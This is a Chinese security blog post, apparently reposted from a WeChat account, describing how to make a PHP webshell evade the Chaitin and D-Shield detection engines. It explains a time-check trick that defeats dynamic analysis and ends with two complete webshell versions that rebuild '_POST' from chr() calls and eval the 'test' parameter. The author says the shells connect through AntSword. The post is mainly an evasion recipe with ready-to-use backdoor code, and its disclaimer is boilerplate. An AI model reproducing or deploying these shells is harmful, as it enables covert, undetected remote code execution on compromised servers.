PHP_webshell免杀06-eval过长亭通杀方案

admin 2025年5月23日14:56:57评论2 views字数 2558阅读8分31秒阅读模式

0x00 前言

就在刚刚,我绕过了长亭:

PHP_webshell免杀06-eval过长亭通杀方案

此刻我的心情十分复杂,因为我在尝试绕过其他查杀引擎,虽然其他查杀引擎没绕过掉,但没想到这招居然绕过了长亭,并且是无感绕过,并不影响后续连接webshell。

我现在打字手都是抖得,因为在我眼里,长亭一直都是一个比较难对付的查杀引擎,没想到绕过不了阿里云和ShellPub的webshell居然能绕过长亭,这是我完全没想到的,那我们就废话不多说,具体请各位看下文。

长亭 WebShell 检测:https://rivers.chaitin.cn/webShell

注:

1.我不太建议大家直接去后文拿代码,还是建议大家先看看文章再去拿代码。2.经测试本文涉及到的脚本在D盾和长亭中均可绕过,其他查杀引擎例如阿里云和ShellPub绕过不了,其他的需要读者自行测试。

0x01 正文

很久以前,我发过一篇PHP_webshell免杀03-过阿里云&长亭,在这篇文章中我介绍了deepseek给出的webshell该如何利用,以及绕过效果,但由于该脚本也不是我写的,让我来修改去绕过其他查杀引擎可能会比较吃力,所以我一直是想从0开始编写一个脚本去绕过各大查杀引擎,比如大家也可以发现我之前是搞出了自己的一套通杀思路去绕过D盾,而今天我要给大家带来的绕过思路,针对的就是长亭

我先给大家看一下我那段过D盾的通杀脚本在长亭当中的效果:

PHP_webshell免杀06-eval过长亭通杀方案

显而易见,直接被判定为恶意脚本。不着急,此时我们注释一下调用eval的那行代码再传上去看看效果:

PHP_webshell免杀06-eval过长亭通杀方案
PHP_webshell免杀06-eval过长亭通杀方案

很明显,此时就被判定为安全脚本了,那么答案显而易见,原脚本被判定为恶意脚本是通过长亭webshell检测引擎的动态检测判定的:

PHP_webshell免杀06-eval过长亭通杀方案

同时也可以证明,我们这段脚本已经绕过了长亭webshell查杀引擎的静态检测,我们现在只需要让脚本不去执行eval即可绕过长亭,那么该如何让脚本不去执行呢?很简单,这里引用一下我上面提到的那篇文章中deepseek给到的思路:

PHP_webshell免杀06-eval过长亭通杀方案

也就是说我们可以让脚本在某个时间段才能运行即可绕过掉长亭,但是这种在某个时间段运行的思路实在是不太自由,当时我在写文章时也发现了这个问题,于是我更改了一下思路,具体看代码:

PHP_webshell免杀06-eval过长亭通杀方案

我在脚本首行当中写了这三行代码,if中的条件将会判断脚本运行时间和脚本创建时间是否是同一分钟,也就是说如果脚本上传到目标服务器后就被执行,此时就不会执行下面的代码,必须等一分钟后才会执行下面的代码。废话不多说,让我们看看这段脚本在长亭当中的效果:

PHP_webshell免杀06-eval过长亭通杀方案
PHP_webshell免杀06-eval过长亭通杀方案

成功绕过,再让我们看看这段脚本是否能成功连接蚁剑,以下是脚本上传到服务器时一分钟之内的效果:

PHP_webshell免杀06-eval过长亭通杀方案

一分钟之后:

PHP_webshell免杀06-eval过长亭通杀方案

成功连接。

但是if条件写成这样可能还是不太灵活,大家也发现了我是通过分钟来判断的,如果此时我正好上传到了对方服务器,想要连接那就得等一分钟,而且如果过了一小时后又是同一分钟那就还得再等一分钟,所以此时我还需要再改一下if条件以应对以上这些情况:

PHP_webshell免杀06-eval过长亭通杀方案

此时我将代码修改为了当前时间若和文件创建时间(精确到年-月-日 时-分-秒)一致,那么就不会执行下面的代码,让我们看一下修改后的webshell在长亭当中的效果:

PHP_webshell免杀06-eval过长亭通杀方案

成功绕过,蚁剑测试连接:

PHP_webshell免杀06-eval过长亭通杀方案

成功实现长亭无感绕过。此时就不必再担心连接问题了,只要我们将脚本上传到目标服务器上,只需要等一秒就能连接上,而事实上我们打开蚁剑可能都需要等好几秒。

最后我需要提一点,这个方案在我这里测试是没任何问题的,如果大家在测试过程中发现长亭爆红了,那只有一种可能:运行脚本时间和脚本创建时间不一致。但我这里没出现过这个问题,如果大家发现爆红那就去修改一下if条件即可。

0x02 总结

其实本文提到的绕过长亭对eval的检测核心在于写一个检测运行时间即可,其他操作其实都是我之前绕过D盾的思路,下面我再总结一下本文所有涉及到的绕过思路:

1.对_POST进行变量混淆。2.eval调用时往里面写三元表达式。3.规避D盾检测eval中是否存在[]可以写一个函数或方法返回数组的指定值。4.将必要方法封装到类中,例如获取数组中的内容。5.检测运行时间以绕过动态检测。

0x03 Code

注:连接密码依然是test

第一个版本:

<?phpif(date("i") - date("i"filectime(basename(__FILE__))) == 0 ) {    exit;}classwwww{    public functionwwwww($str)    {        return chr($str);    }    public functionget($list)    {        return $list['test'];    }}$www new wwww();$sfd $www->wwwww(95);$sdf $www->wwwww(80);$dfgb $www->wwwww(79);$d123 $www->wwwww(83);$d456 $www->wwwww(84);$b $sfd $sdf $dfgb $d123 $d456;eval(0 ? 0 : $www->get($$b));

第二个版本:

<?phpif(date("Y-m-d H:i:s") == date("Y-m-d H:i:s"filectime(basename(__FILE__)))) {    exit;}classwwww{    public functionwwwww($str)    {        return chr($str);    }    public functionget($list)    {        return $list['test'];    }}$www new wwww();$sfd $www->wwwww(95);$sdf $www->wwwww(80);$dfgb $www->wwwww(79);$d123 $www->wwwww(83);$d456 $www->wwwww(84);$b $sfd $sdf $dfgb $d123 $d456;eval(0 ? 0 : $www->get($$b));

原文始发于微信公众号(Spade sec):PHP_webshell免杀06-eval过长亭通杀方案

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月23日14:56:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP_webshell免杀06-eval过长亭通杀方案https://cn-sec.com/archives/4088518.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息